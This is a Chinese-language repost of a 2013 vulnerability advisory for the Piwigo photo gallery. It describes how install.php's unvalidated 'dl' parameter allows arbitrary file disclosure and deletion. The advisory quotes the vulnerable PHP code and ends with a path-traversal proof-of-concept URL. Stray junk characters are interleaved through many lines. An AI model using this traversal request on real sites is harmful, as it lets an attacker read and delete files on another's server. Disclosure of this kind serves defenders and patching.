Piwigo任意文件泄露和任意文件删除漏洞

admin

Piwigo是用PHP编写的相册脚本。

Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
0 C% k7 a8 {* x% d1 i9 w0 y9 m/ J====================================================================
1 b8 x1 G. @( A/install.php:
2 U  D# ~$ U7 L2 P# z4 N-------------
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
# _1 Q8 Q1 P7 D2 U) g3 D) d114: {
" r5 \9 y% x+ a: I. ^115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
- ^$ w" O- C4 v" v& u117:   header('Pragma: no-cache');
' O" T: S! J$ u) E, L( g: j118:   header('Content-Disposition: attachment; filename="database.inc.php"');
1 @* {- I( C* U1 t) d119:   header('Content-Transfer-Encoding: binary');
2 u: |/ r" p7 e* q, w4 ~* h  U, I120:   header('Content-Length: '.filesize($filename));
8 Q  Y4 u6 S$ w8 {( Y3 S121:   echo file_get_contents($filename);
122:   unlink($filename);
123:   exit();
3 `. f# F$ _9 B$ J4 D2 r124: }
====================================================================
% j" h! G& V: ?2 T! L
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
" s( {, k/ D+ c0 v0 A2 g5 N# w8 e) R           MySQL 5.5.25a
9 P$ e2 u; p' q0 d7 m* K
, A7 O% O' Z2 g9 d8 P' PVulnerability discovered by Gjoko 'LiquidWorm' Krstic
- O. Y  h' T1 M4 Q4 \  `) G                            @zeroscience

, f( u! {! l* v% ~' ~Advisory ID: ZSL-2013-5127
" q" ~" p. x1 BAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
+ v, K9 l: i8 jVendor Patch: http://piwigo.org/bugs/view.php?id=2843

9 J, o9 n7 D- D+ u15.02.2013

--
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
3 I1 f! A6 ^& `" X& T# E